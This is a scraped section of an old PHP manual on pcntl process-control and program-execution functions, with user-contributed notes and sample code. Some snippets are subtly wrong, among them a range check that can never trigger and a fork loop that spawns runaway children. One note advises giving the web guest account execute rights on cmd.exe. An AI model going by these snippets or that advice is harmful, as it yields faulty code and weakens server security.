pcntl_fork -- Forks the currently running process

Description

int pcntl_fork ( void )

The pcntl_fork() function creates a child process that differs from the parent process only in its PID and PPID. Please see your system's fork(2) man page for specific details as to how fork works on your system.

On success, the PID of the child process is returned in the parent's thread of execution, and a 0 is returned in the child's thread of execution. On failure, a -1 will be returned in the parent's context, no child process will be created, and a PHP error is raised.

例子 1. pcntl_fork() example

<?php

$pid = pcntl_fork();
if ($pid == -1) {
     die('could not fork');
} else if ($pid) {
     // we are the parent
     pcntl_wait($status); //Protect against Zombie children
} else {
     // we are the child
}

?>

See also pcntl_waitpid() and pcntl_signal().

add a note add a note User Contributed Notes
spam at kacke dot de
04-Mar-2006 02:52
I disagree too with reinoud at hyves dot nl too.

It seems youll always get the mysql-error 0 "lost connetion during query" when massive forking at the same time like
while x = mysql_fetch_array() -> fork

If you put for example a usleep between each fork youll dont loose the connection.

I figured that out sometimes and maybe its a "workaround" that helps

Toppi
erm at the-erm dot com
07-Dec-2005 11:52
This creates children, and grand children processes.

<?php

   declare(ticks=1);

   echo "I'm going to be a Dad.\n";
   if (spawn_child('child_function')) {
       echo 'Parent pid:'.posix_getpid()."\n";
   }

   echo "I'm going to be a Dad again!.\n";
   if (spawn_child('child_function',1,2,3,4)) {
       echo 'Child - 2 Parent pid:'.posix_getpid()."\n";
   }

   echo "What you're pregnant again!?.\n";
   if (spawn_child('grand_children')) {
       echo 'Child - 3 Parent pid:'.posix_getpid()."\n";
   }

   function grand_children() {
       echo "Dad I'm going to have a baby.\n";
       spawn_child('child_function','Joe');
       echo "I'm so proud of my kids.\n";
   }

   function spawn_child($function) {
       $original_pid = posix_getpid();
       $pid = pcntl_fork();
       if ($pid == -1) {
           die ("Unable to spawn child\n");
       }
       $new_pid = posix_getpid();
       if ($new_pid == $original_pid) {
           return true;
       }
       if (function_exists($function)) {
           $numargs = func_num_args();
           if ($numargs > 1) {
               $args = func_get_args();
               //print_r ($args);
               unset($args[0]);
               call_user_func($function,$args);
           } else {
               call_user_func($function);
           }
           echo "Done with child ".$new_pid." they moved out.\n";
           exit;
       } else {
           die ("$function does not exist\n");
       }
   }

   function child_function() {
       echo 'Child pid:'.posix_getpid()."\n";
       $args = func_get_args();
       if (!empty($args))
           print_r ($args);
   }

   pcntl_wait( $status);

?>
rob at bronco dot co dot uk
26-May-2005 10:53
I disagree with reinoud at hyves dot nl. I have multiple examples of software which connects to a database then forks a great number of times, and every child has full access to the database link resource. The only issues with forking and MySQL that I have experienced is that you may get the occasional "MySQL server has gone away", although that particular error is probably more related to massively overloading a database.
reinoud at hyves dot nl
24-Mar-2005 03:01
Note that (among other things ?) your mysql resources need to be closed neatly before doing a pcntl_fork. If not, you might have mysql_query return false with errno=0 and no error message - even if the child doesn't touch the database at all. So I ended up using the following code:

$database_resource=mysql_connect($server,$port, $dbuser, $dbpass);
someCodeWhichDoesSomeQueries($database_resource);

mysql_close($database_resource);
if (pcntl_fork() === 0)
{
   $database_resource=mysql_connect($server,$port, $dbuser, $dbpass); //obviously you only add this if the child is going to interact with the database
   executeChildCode($database_resource);
   exit();
}
$database_resource=mysql_connect($server,$port, $dbuser, $dbpass);
executeParentCode($database_resource);
arnold at helderhosting dot nl
13-Feb-2005 11:12
It is not possible to use the function 'pcntl_fork' when PHP is used as Apache module. You can only use pcntl_fork in CGI mode or from command-line.

Using this function will result in: 'Fatal error: Call to undefined function: pcntl_fork()'
Jon Dowland <bugs at alcopop dot org>
21-Dec-2004 07:26
I thought I should add a quick note to clarify the mentioning of threads below.

This procedure does not create a new thread: a thread is a seperate execution strand within the same process. So, a thread has access to the same memory as the parent and no duplication of process space is done.

A fork is a relatively expensive procedure as the parent processes memory segments are copied. I don't know the internal PHP implementation details but this most likely includes the PHP interpreter. A child does not have access to the memory of the parent: only a copy of it.
ej <at> wellkeeper dot com
01-Jul-2004 01:56
If you understand what a UNiX fork() command actually does, then the behaviour astrolox describes below is precisely what one would expect. A fork() command creates an identical process (save for the PID) and that includes the TEXT segment, DATA segment, stack, heap, file descriptors, etc.  If you don't want the child to have what's in the buffer, just throw it out (in the child - the parent doesn't need to do anything differently).

  As for his new server that doesn't display the same behaviour, I'm not sure what to say. It would be a mistake for PHP to throw away that buffer for you behind the scenes because someone may well want a child that has access to that buffer. If fork() is properly implemented the *ONLY* thing that is different in the child is that it has it's own PID.
astrolox at lawyersonline dot co dot uk
01-Apr-2004 07:40
When using php 4.3.3, I found that output buffering can really confuse you if you use fork within your script.

The buffer (everything which hasn't been placed on the screen yet) is copied to the child process.

This means that when the child flushes it's buffer, which happens automatically when the script ends, you will get a copy of everything which your code (before the fork) tried to place on to the screen.

This causes it to look like all your code before the fork has run twice, when actually it hasn't.

This doesn't happen on my other server running a newer version of php, but that might be a configuration issue.

Note that using ob_implicit_flush() at the start of the script doesn't appear to solve the problem. Adding ob_end_flush() before the pcntl_fork() command does solve the problem.

Example:
<?
echo "This is an echo before I called the fork command\n";

// uncomment the next line to fix the described problem
#ob_end_flush();

$pid = pcntl_fork();
if ($pid == -1) {
   die("could not fork");
} else if ($pid) {
   echo "I am the parent, pid = ". $pid ."\n";
} else {
   echo "I am the child, pid = ". $pid ."\n";
}
?>

Output, before "fixed":

This is an echo before I called the fork command
I am the parent, pid = 15449
This is an echo before I called the fork command
I am the child, pid = 0

Output, after "fixed":

This is an echo before I called the fork command
I am the parent, pid = 15023
I am the child, pid = 0
Jazeps Basko, jb4 [at] 42901.lv
01-Nov-2003 12:01
Here is my example how one can create a number of threads that do the same thing.
The thing that each instance should execute is written in Process::go() method.
This code creates three threads called a, b and c. They all do the same thing: they iterate ten times through a loop that says them to wait for a second and then print out their name and the iteration number.
If you executed this on your UNIX machine that has PHP installed in /usr/local/phpcli (change that if you have PHP elsewhere), you'd get smth like this:

a1
b1
c1
a2
b2
c2
a3
...
..
a9
b9
c9

[ note that the order how a1, b1, c1 appear may change - if by some reason a thread goes a little bit slower than b or c, it would appear after the b1 and c1, and other iteration indicators of b, c threads too ]

So, here comes the code:

#! /usr/local/phpcli/bin/php -q
<?php

   /*
       PHP jaabuut kaa CGI, --enable-pcntl
   */

   class Process
   {
       var $ident;

       function Process( $ident )
       {
           $this->ident = $ident;
       }

       function go()
       {
           for ( $i=1; $i<10; $i++ ) {
               sleep(1);
               echo $this->ident . $i . "\n";
           }
       }
   }

   $childrenTotal = 3;
   $childrenNow = 0;
   $childrenNames = array( 'a', 'b', 'c' );

   while ( $childrenNow < $childrenTotal ) {

       $pid = pcntl_fork();

       if ( $pid == -1 ) {
           die( "error\n" );
       } elseif ( $pid == 0 ) {
           $childrenNow++;
       } else {
           $process = new Process( $childrenNames[$childrenNow] );
           $process->go();
           die();
       }

   }
?>
porkchop at porkchop dot net
24-Jul-2003 09:58
On a fork, vars themselves are copied into the new child's space, not just a refrence to that var.

Consider:
<?
$foo="foo";
$pid=pcntl_fork();
if($pid != 0) { /* we're here if this is the parent */
 $foo="bar";
 echo $foo; // returns "bar".
 die("Child complete");
} else { /* we're the child */
 `sleep 5`
 echo $foo; // returns "foo" even though the parent set $foo to "bar" about 5 seconds earlier.
};
?>
ben at gelbnet dot com
26-Sep-2002 06:54
I was writing a shell script to get input from a user, however, I needed my script to time out after a certain number of seconds if the user didn't enter enough data. The code below descibes the method I used. It's a little hairy but it does work.

-Ben

#!/home/ben/php/bin/php -q
<?
//GLOBALS
$RETURN_CHAR = "\n";
$TIMEOUT = 5; //number of seconds to timeout on input
$PID = getmypid();
$CHILD_PID = 0;

//Make sure program execution doesn't time out
set_time_limit(0);

function set_timeout() {
global $PID;
global $CHILD_PID;
global $TIMEOUT;

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0) {
sleep($TIMEOUT);
posix_kill($PID, SIGTERM);
exit;
}
}

function clear_timeout() {
global $CHILD_PID;
posix_kill($CHILD_PID, SIGTERM);
}

// read_data()
// gets a line of data from STDIN and returns it
function read_data() {

$in = fopen("php://stdin", "r");
set_timeout();
$in_string = fgets($in, 255);
clear_timeout();
fclose($in);
return $in_string;
}

// write_data($outstring)
// writes data to STDOUT
function write_data($outstring) {
$out = fopen("php://stdout", "w");
fwrite($out, $outstring);
fclose($out);
}

while(1) {
write_data("say something->");
$input = read_data();
write_data($RETURN_CHAR.$input);
}

?>
add a note add a note

后退 | 起点 | 前进
pcntl_exec | 上一级 | pcntl_getpriority


pcntl_getpriority

(PHP 5)

pcntl_getpriority -- Get the priority of any process

Description

int pcntl_getpriority ( [int pid [, int process_identifier]] )

pcntl_getpriority() gets the priority of pid. If pid is not specified, the pid of the current process is used. Because priority levels can differ between system types and kernel versions, please see your system's getpriority(2) man page for specific details.

pcntl_getpriority() returns the priority of the process or FALSE on error. A lower numerical value causes more favorable scheduling.

process_identifier is one of PRIO_PGRP, PRIO_USER or PRIO_PROCESS.

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pcntl_fork | 上一级 | pcntl_setpriority


pcntl_setpriority

(PHP 5)

pcntl_setpriority -- Change the priority of any process

Description

bool pcntl_setpriority ( int priority [, int pid [, int process_identifier]] )

pcntl_setpriority() sets the priority of pid to priority. If pid is not specified, the pid of the current process is used.

priority is generally a value in the range -20 to 20. The default priority is 0 while a lower numerical value causes more favorable scheduling. Because priority levels can differ between system types and kernel versions, please see your system's setpriority(2) man page for specific details.

process_identifier is one of PRIO_PGRP, PRIO_USER or PRIO_PROCESS.

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
leandro dot pereira at gmail dot com
23-Dec-2004 11:08
The following snippet may be used under older versions of PHP to provide similar functionality.  Tested only under Linux.

<?php
function _pcntl_setpriority($priority, $pid = 0)
{
       $priority = (int)$priority;
       $pid = (int)$pid;

       if ($priority > 20 && $priority < -20) {
               return False;
       }
       if ($pid == 0) {
               $pid = getmypid();
       }

       return system("renice  $priority -p $pid") != false;
}

?>
add a note add a note

后退 | 起点 | 前进
pcntl_getpriority | 上一级 | pcntl_signal


pcntl_signal

(PHP 4 >= 4.1.0, PHP 5)

pcntl_signal -- Installs a signal handler

Description

bool pcntl_signal ( int signo, callback handle [, bool restart_syscalls] )

The pcntl_signal() function installs a new signal handler for the signal indicated by signo. The signal handler is set to handler which may be the name of a user created function, or either of the two global constants SIG_IGN or SIG_DFL. The optional restart_syscalls specifies whether system call restarting should be used when this signal arrives and defaults to TRUE.

如果成功则返回 TRUE，失败则返回 FALSE。

注: The optional restart_syscalls parameter became available in PHP 4.3.0.

注: The ability to use an object method as a callback became available in PHP 4.3.0. Note that when you set a handler to an object method, that object's reference count is increased which makes it persist until you either change the handler to something else, or your script ends.

例子 1. pcntl_signal() example

<?php
// tick use required as of PHP 4.3.0
declare(ticks = 1);

// signal handler function
function sig_handler($signo)
{

     switch ($signo) {
         case SIGTERM:
             // handle shutdown tasks
             exit;
             break;
         case SIGHUP:
             // handle restart tasks
             break;
         case SIGUSR1:
             echo "Caught SIGUSR1...\n";
             break;
         default:
             // handle all other signals
     }

}

echo "Installing signal handler...\n";

// setup signal handlers
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP,  "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");

// or use an object, available as of PHP 4.3.0
// pcntl_signal(SIGUSR1, array($obj, "do_something");

echo"Generating signal SIGTERM to self...\n";

// send SIGUSR1 to current process id
posix_kill(posix_getpid(), SIGUSR1);

echo "Done\n"

?>

注: As of PHP 4.3.0 PCNTL uses ticks as the signal handle callback mechanism, which is much faster than the previous mechanism. This change follows the same semantics as using "user ticks". You must use the declare() statement to specify the locations in your program where callbacks are allowed to occur for the signal handler to function properly (as used in the above example).

See also pcntl_fork() and pcntl_waitpid().

add a note add a note User Contributed Notes
aeolianmeson at NOSPAXM dot blitzeclipse dot com
09-Jun-2006 04:19
This issue occurs in at least PHP 5.1.2.

When a SIGINT is sent via CTRL+C or CTRL+BREAK, the handler is called. If this handler sends a SIGTERM to other children, the signals are not received.

SIGINT can be sent via posix_kill() and it work exactly as expected-- This only applies when initiated via a hard break.
aeolianmeson at NOSPAM dot blitzeclipse dot com
30-May-2006 11:43
In at least version 5.1.4, the parameter passed to the handler is not a strict integer.

I have had such problems as trying to add the signal to an array, but the array is completely screwed up when viewed (but not viewed immediately after being added). This occurs when the handler is a method (array($this, 'methodname')), or a traditional functions.

To avoid this bug, typecast the parameter to an integer:
(note that each newline may appear to just be 'n'.)

<?php
print("pid= " . posix_getpid() . "\n");
declare(ticks=1);
$arrsignals = array();

function handler($nsig)
{
   global $arrsignals;
   $arrsignals[] = (int)$nsig;
   print("Signal caught and registered.\n");
   var_dump($arrsignals);
}

pcntl_signal(SIGTERM, 'handler');

// Wait for signals from the command-line (just a simple 'kill (pid)').
$n = 15;
while($n)
{
   sleep(1);
   $n--;
}

print("terminated.\n\n");
var_dump($arrsignals);
?>

Dustin
zenyatta22 at hotmail
29-Mar-2006 06:26
Process handling is not available when using a blocking socket! Bear this in mind.
sezer yalcin
12-Jan-2006 04:29
You should pay attention to this issue.

I realized "some" files need specific declare() where some do not.

It is good idea to include in all "main" files, not in include files.

junkmail at konvergencia dot hu
06-May-2003 04:21
It seems like the scope of declare() when used in it's new global form e.g.
  declare(ticks = 1);

is restricted to the file it is used in and the one's include() -ed or require() -ed by the script. So you can NOT do this:
wm161 at wm161 dot net
11-Jan-2006 07:45
When you are running a script inside of a loop that checks a socket, and it hangs on that checking (Either by flaw or design), it can't handle signals until some data is received.

A suggested workaround would be to use the stream_set_blocking function, or stream_select on the offending reads.
erik at phpcastle dot com
27-Dec-2005 07:46
When you want to stop a CLI script by a keyboard interupt then you should use SIGINT.

Example script:
#!/usr/bin/php5
<?php

// tick use required as of PHP 4.3.0
declare(ticks = 1);

// signal handler function
function sig_handler($signo)
{

         switch ($signo) {
                 case SIGINT:
                         // handle shutdown tasks
                         echo "Keyboard pressed...\n";
                         exit;
                         break;
                 default:
                         // handle all other signals
         }

}

echo "Installing signal handler...\n";

// setup signal handlers
pcntl_signal(SIGINT, "sig_handler");

// or use an object, available as of PHP 4.3.0
// pcntl_signal(SIGUSR1, array($obj, "do_something");

// Just a stupid simple loop
for ($i = 1; $i <= 10; $i++){
   echo ".";
   sleep(1);

}

echo "Done\n"

?>
codeslinger at compsalot dot com
04-Feb-2005 01:23
I ran into an interesting problem. CLI 4.3.10 Linux

The parent forked a child.  The child did a bunch of stuff, and when it was done it sent SIGUSR1 to the parent and immediately exited.

Result:
The child turned into a zombie process waiting for the parent to harvest it, as it should.

But the parent was unable to harvest the child because it was receiving an endless barrage of SIGUSR1s.  In fact, it logged over 200000 before I shut it down (SIGKILL).  The parent was not able to do anything else (respond to other events) during that time.

No, it wasn't a bug in my child code.  Apparently, after sending a signal there is some "behind the covers" work that needs to occur to acknowledge signal completion, and when you exit immediately it is not able to happen, so the system just keeps trying.

Solution:  I introduced a small delay in the child, after sending the signal, and before exiting.
No more Sig loops...

----------

P.S.  With respect to the note below.  The whole point of the sleep function is to enable the processing of other events.  So, yes, your non-renterent code, will suddenly get re-entered when you do a sleep, because you have just handed off control to the next pending event.

Ignoring the signal is only an option if the signal is unimportant to your program....  The better way to approach it, is to not do lengthy processing inside of the signal event.  Instead set a global flag and get the heck out of there as fast as possible.  Allow another part of your program to check the flag and do the processing outside of the signal event.  Usually your program is in some kind of loop when it is receiving signals, so checking a flag regularly shouldn't be a problem.
ieure at php dot net
20-Jan-2005 09:15
Some weird signal interactions going on here. I'm running PHP 4.3.9.

sleep() calls seem to be interrupted when any signal is received by the PHP script. But things get weird when you sleep() inside a signal handler.

Ordinarily, signal handlers are non-reentrant. That is, if the signal handler is running, sending another signal has no effect. However, sleep() seems to override PHP's signal handling. If you sleep() inside a signal handler, the signal is received and the sleep() is interrupted.

This can be worked around like this:

function handler($signal)
{
   // Ignore this signal
   pcntl_signal($signal, SIG_IGN);

   sleep(10);

   // Reinstall signal handler
   pcntl_signal($signal, __FUNCTION__);
}

I don't see any mention of this behavior in the documentation.
cp at ltur dot de
09-Dec-2004 06:21
@spam at etcpasswd dot de

Yes it is possible to use a Handler inside of a Class:

<?php
declare(ticks = 1);

class SignalHandler
{
   function __construct() {
       $this->_init();
   }
   function _init() {
       pcntl_signal(SIGTERM, array(&$this,"handleSignals"));
   }
   function handleSignals($signal)
   {
       echo "$signal\n";
   }

}
$o = new SignalHandler();
posix_kill(getmypid(),SIGTERM);
// prints 15
?>

HTH
.Ape
junkmail at konvergencia dot hu
06-May-2003 07:21
It seems like the scope of declare() when used in it's new global form e.g.
  declare(ticks = 1);

is restricted to the file it is used in and the one's include() -ed or require() -ed by the script. So you can NOT do this:

main.php:
<?php

  include ('signals.php');

  do_something_here();

?>

signals.php:
<?php

 declare(ticks = 1);

  function sig_handler($signo) {
     handle_the_signal_here();
  }

  pcntl_signal (SIGINT, 'sig_handler');

?>

Your signal handler function will not be called. In the above examples you have to declare() in the main.php file.
daniel[at]lorch.cc
28-Feb-2002 10:17
There are two documents I consider reading:

  Unix Signals Programming
  http://users.actcom.co.il/~choo/lupg/tutorials/

  Beej's Guide to Unix Interprocess Communication
  http://www.ecst.csuchico.edu/~beej/guide/ipc/

Also, have a look at the manpage:

  http://www.mcsr.olemiss.edu/cgi-bin/man-cgi?signal+5
add a note add a note

后退 | 起点 | 前进
pcntl_setpriority | 上一级 | pcntl_wait


pcntl_wait

(PHP 5)

pcntl_wait -- Waits on or returns the status of a forked child

Description

int pcntl_wait ( int &status [, int options] )

The wait function suspends execution of the current process until a child has exited, or until a signal is delivered whose action is to terminate the current process or to call a signal handling function. If a child has already exited by the time of the call (a so-called "zombie" process), the function returns immediately. Any system resources used by the child are freed. Please see your system's wait(2) man page for specific details as to how wait works on your system.

pcntl_wait() returns the process ID of the child which exited, -1 on error or zero if WNOHANG was provided as an option (on wait3-available systems) and no child was available.

If wait3 is available on your system (mostly BSD-style systems), you can provide the optional options parameter. If this parameter is not provided, wait will be used for the system call. If wait3 is not available, providing a value for options will have no effect. The value of options is the value of zero or more of the following two constants OR'ed together:

表格 1. Possible values for options if wait3 is available

WNOHANG | Return immediately if no child has exited.
WUNTRACED | Return for children which are stopped, and whose status has not been reported.

pcntl_wait() will store status information
in the status parameter which can be
evaluated using the following functions:
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() and
pcntl_wstopsig().

注: This function is equivalent to calling pcntl_waitpid() with a -1 pid and no options.

See also pcntl_fork(),
pcntl_signal(),
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig(),
pcntl_wstopsig() and
pcntl_waitpid().

add a note add a note User Contributed Notes
thomas dot nicolai at unisg dot ch
25-Mar-2006 03:19
The code before isnt working for me cause the children are correctly started but not refreshed after they died. So keep in mind to use this instead and use the signal handler to know when a child exits to know when you have to start a new one. I added a few lines to the posting from {andy at cbeyond dot net} cause his post wasnt working for me as well (PHP5.1). Same effect like the one below.

<?php
declare(ticks = 1);

$max=5;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
   case SIGCHLD:
     echo "SIGCHLD received\n";
     $child--;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

while (1){
       $child++;
       $pid=pcntl_fork();

       if ($pid == -1) {
               die("could not fork");
       } else if ($pid) {

               // we are the parent
               if ( $child >= $max ){
                   pcntl_wait($status);
                   $child++;
               }
       } else {
               // we are the child
               echo "\t Starting new child | now we de have $child child processes\n";
               // presumably doing something interesting
               sleep(rand(3,5));
               exit;
       }
}
?>
federico at nextware dot it
20-Feb-2006 08:39
This a simple multi process application where you can choose
the maximun process that can run at the same time.
This is useful when you need to limit the fork of process.
When the MAXPROCESS is reached the program wait on pcntl_wait()
<?

DEFINE(MAXPROCESS,25);

for ($i=0;$i<100;$i++){

   $pid = pcntl_fork();

   if ($pid == -1) {
       die("could not fork");
   } elseif ($pid) {
               echo "I'm the Parent $i\n";
       $execute++;
       if ($execute>=MAXPROCESS){
           pcntl_wait($status);
           $execute--;
       }

   } else {

       echo "I am the child, $i pid = $pid \n";
       sleep(rand(1,3));
       echo "Bye Bye from $i\n";
       exit;
   }

}
?>
thisisroot at gmail dot com
19-Oct-2005 10:14
Below is a simple example of forking some children and timing the total duration (useful for stress tests).

<?php

$isParent    = true;
$children    = array();
$start        = microtime( true);

/* Fork you!
 * (Sorry, I had to)
 */
$ceiling = $CONCURRENCY - 1;

for ( $i = 0; (( $i < $ceiling) && ( $isParent)); $i++) {
   $pid = pcntl_fork();
   if ( $pid === 0) {
       $isParent = false;

   } elseif ( $pid != -1) {
       $children[] = $pid;

   }

}

/* Process body */
echo "Do stuff here\n";

/* Cleanup */
if ( $isParent) {
   $status = null;
   while ( count( $children)) {
       pcntl_wait( $status);
       array_pop( $children);
   }

   echo "Completed in " . ( microtime( true) - $start) . " seconds.\n";

}

?>
add a note add a note

后退 | 起点 | 前进
pcntl_signal | 上一级 | pcntl_waitpid


pcntl_waitpid

(PHP 4 >= 4.1.0, PHP 5)

pcntl_waitpid -- Waits on or returns the status of a forked child

Description

int pcntl_waitpid ( int pid, int &status [, int options] )

The pcntl_waitpid() function suspends execution of the current process until a child as specified by the pid argument has exited, or until a signal is delivered whose action is to terminate the current process or to call a signal handling function. If a child as requested by pid has already exited by the time of the call (a so-called "zombie" process), the function returns immediately. Any system resources used by the child are freed. Please see your system's waitpid(2) man page for specific details as to how waitpid works on your system.

pcntl_waitpid() returns the process ID of the child which exited, -1 on error or zero if WNOHANG was used and no child was available

The value of pid can be one of the following:

表格 1. possible values for pid

< -1 | wait for any child process whose process group ID is equal to the absolute value of pid.
-1 | wait for any child process; this is the same behaviour that the wait function exhibits.
0 | wait for any child process whose process group ID is equal to that of the calling process.
> 0 | wait for the child whose process ID is equal to the value of pid.

注: Specifying -1 as the pid is equivalent to the functionality pcntl_wait() provides (minus options).

pcntl_waitpid() will store status information
in the status parameter which can be
evaluated using the following functions:
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() and
pcntl_wstopsig().

The value of options is the value of zero or more of the following two global constants OR'ed together:

表格 2. possible values for options

WNOHANG | return immediately if no child has exited.
WUNTRACED | return for children which are stopped, and whose status has not been reported.

See also pcntl_fork(),
pcntl_signal(),
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() and
pcntl_wstopsig().

add a note add a note User Contributed Notes
Kevin
11-May-2006 06:40
---
       while ($i < intval($argv[1]))
       {
           $pid = pcntl_fork();
           if ($pid == -1)
           {
               die('could not fork');
           }
           else
           {
               if ($pid) // parent
               {
                   $pid_arr[$i] = $pid;
               }
               else // child
               {
                   performSomeFunction($i+1);
               }
           }
           $i++;
       }
---

careful, this will create a lot more children than you probably expect. You must return or exit after performSomeFunction($i+1); ie,

               else // child
               {
                   performSomeFunction($i+1);
                   exit(0);
               }
admin at albert dot us dot com
07-Mar-2006 02:48
Here's a decent example of the pcntl_waitpid() call:

       $i = 0;
       $starttime = microtime(TRUE);
       $pid_arr = array();
       while ($i < intval($argv[1]))
       {
           $pid = pcntl_fork();
           if ($pid == -1)
           {
               die('could not fork');
           }
           else
           {
               if ($pid) // parent
               {
                   $pid_arr[$i] = $pid;
               }
               else // child
               {
                   performSomeFunction($i+1);
               }
           }
           $i++;
       }
       foreach ($pid_arr as $pid)
       {
           // we are the parent
           pcntl_waitpid($pid, $status);
       }
       $elapsed = microtime(TRUE) - $starttime;
       print "\n==> total elapsed: " . sprintf("%f secs.\n", $elapsed);
add a note add a note

后退 | 起点 | 前进
pcntl_wait | 上一级 | pcntl_wexitstatus


pcntl_wexitstatus

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wexitstatus -- Returns the return code of a terminated child

Description

int pcntl_wexitstatus ( int status )

Returns the return code of a terminated child. This function is only useful if pcntl_wifexited() returned TRUE.

status 参数是提供给成功调用的 pcntl_waitpid() 函数的状态参数。

See also pcntl_waitpid() and pcntl_wifexited().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pcntl_waitpid | 上一级 | pcntl_wifexited


pcntl_wifexited

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifexited -- Returns TRUE if status code represents a successful exit

Description

bool pcntl_wifexited ( int status )

Returns TRUE if the child status code represents a successful exit.

status 参数是提供给成功调用的 pcntl_waitpid() 函数的状态参数。

See also pcntl_waitpid() and pcntl_wexitstatus().

add a note add a note User Contributed Notes
11-May-2005 01:43
The documentation claims a TRUE return in the case of a "successful exit", but that is misleading.  If you read the unix man page for the underlying WIFEXITED() macro, you will find that it returns TRUE in the case of a "normal exit".  In other words, this function returns TRUE if the child process ended by returning from main() or by calling an exit() function.  It returns FALSE in other cases, such as when the child process was terminated with a signal.  This function does not test the child's numeric exit code for success or failure.
add a note add a note

后退 | 起点 | 前进
pcntl_wexitstatus | 上一级 | pcntl_wifsignaled


pcntl_wifsignaled

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifsignaled -- Returns TRUE if status code represents a termination due to a signal

Description

bool pcntl_wifsignaled ( int status )

Returns TRUE if the child process exited because of a signal which was not caught.

status 参数是提供给成功调用的 pcntl_waitpid() 函数的状态参数。

See also pcntl_waitpid() and pcntl_signal().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pcntl_wifexited | 上一级 | pcntl_wifstopped


pcntl_wifstopped

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifstopped -- Returns TRUE if child process is currently stopped

Description

bool pcntl_wifstopped ( int status )

Returns TRUE if the child process which caused the return is currently stopped; this is only possible if the call to pcntl_waitpid() was done using the option WUNTRACED.

status 参数是提供给成功调用的 pcntl_waitpid() 函数的状态参数。

See also pcntl_waitpid().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pcntl_wifsignaled | 上一级 | pcntl_wstopsig


pcntl_wstopsig

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wstopsig -- Returns the signal which caused the child to stop

Description

int pcntl_wstopsig ( int status )

Returns the number of the signal which caused the child to stop. This function is only useful if pcntl_wifstopped() returned TRUE.

status 参数是提供给成功调用的 pcntl_waitpid() 函数的状态参数。

See also pcntl_waitpid() and pcntl_wifstopped().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pcntl_wifstopped | 上一级 | pcntl_wtermsig


pcntl_wtermsig

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wtermsig -- Returns the signal which caused the child to terminate

Description

int pcntl_wtermsig ( int status )

Returns the number of the signal that caused the child process to terminate. This function is only useful if pcntl_wifsignaled() returned TRUE.

status 参数是提供给成功调用的 pcntl_waitpid() 函数的状态参数。

See also pcntl_waitpid(),
pcntl_signal() and
pcntl_wifsignaled().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pcntl_wstopsig | 上一级 | Program Execution Functions


Program Execution Functions

PHP 手册
后退 前进

CXVII. Program Execution Functions

简介

Those functions provide means to execute commands on the system itself, and means to secure such commands.

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

参见

These functions are also closely related to the backtick operator. Also, while in 安全模式 you must consider the safe_mode_exec_dir directive.

目录
escapeshellarg -- Escape a string to be used as a shell argument
escapeshellcmd -- Escape shell metacharacters
exec -- Execute an external program
passthru -- Execute an external program and display raw output
proc_close -- Close a process opened by proc_open() and return the exit code of that process.
proc_get_status -- Get information about a process opened by proc_open()
proc_nice -- Change the priority of the current process
proc_open -- Execute a command and open file pointers for input/output
proc_terminate -- kills a process opened by proc_open
shell_exec -- Execute command via shell and return the complete output as a string
system -- Execute an external program and display the output

add a note add a note User Contributed Notes
judas dot iscariote at gmail dot com
02-Jun-2006 03:19
This functions are generally considered harmful,without proper input validation procedures are as worse as eval().

If what you are trying to do is possible using other mechanism, ** do it that way, even if it takes more time **.

Do not cry or blame PHP if your server gets "owned" due to a missing escapeshell*** in your code , you have been warned.
manokan at manokan dot net
18-Apr-2006 01:09
Lets make it even clearer, about the "unable to fork" error in exec().

By default Windows XP sets all permissions for cmd.exe for the temporary internet user account (IUSER-[computername]) to DENY. That overrides everthing.

You must modify the security on cmd.exe to give the IUSER-computername account at least read & execute and remove the DENY.
not at any dot com
23-Feb-2006 04:16
at LAST!  tenacity pays off, days trying every little thing!

I didn't want batch files.  I'm trying to use PHP to get rid of batch files.

I didn't want to call a file to parse the parameters to call a shell to call a file.  I've got "systems" right now with batches tiered three and five deep.

I just wanted to run stuff.

CALL, tested on WinXP, will be testing on more OSes right away, in PHP4 and 5, with exec, system, works with popen, and passthru.

here is my lame sample function.

//  CreateZip
   function createzip ($target, $archive)
   {  $ziputil = "call \"c:\\Program Files\\7-zip\\7z.exe\"";
       $archived = escapeshellarg($archive);
       $targeted = escapeshellarg($target);

       $shellcommand= $ziputil." a -tzip ".$archived." ".$targeted."\n";

  // all of the below are working in Win XP Pro
   passthru ($shellcommand);
   exec ($shellcommand);
   system ($shellcommand);
   shell_exec ($shellcommand);
   $proc= popen ($shellcommand, "r"); //$proc contains output

LONG PATH NAMES WITH SPACES IN THEM ON WINDOWS!

all in a big long concatenated command line with multiple quoted-filename parameters

shell scripting bliss!
mtupker at yahoo dot com
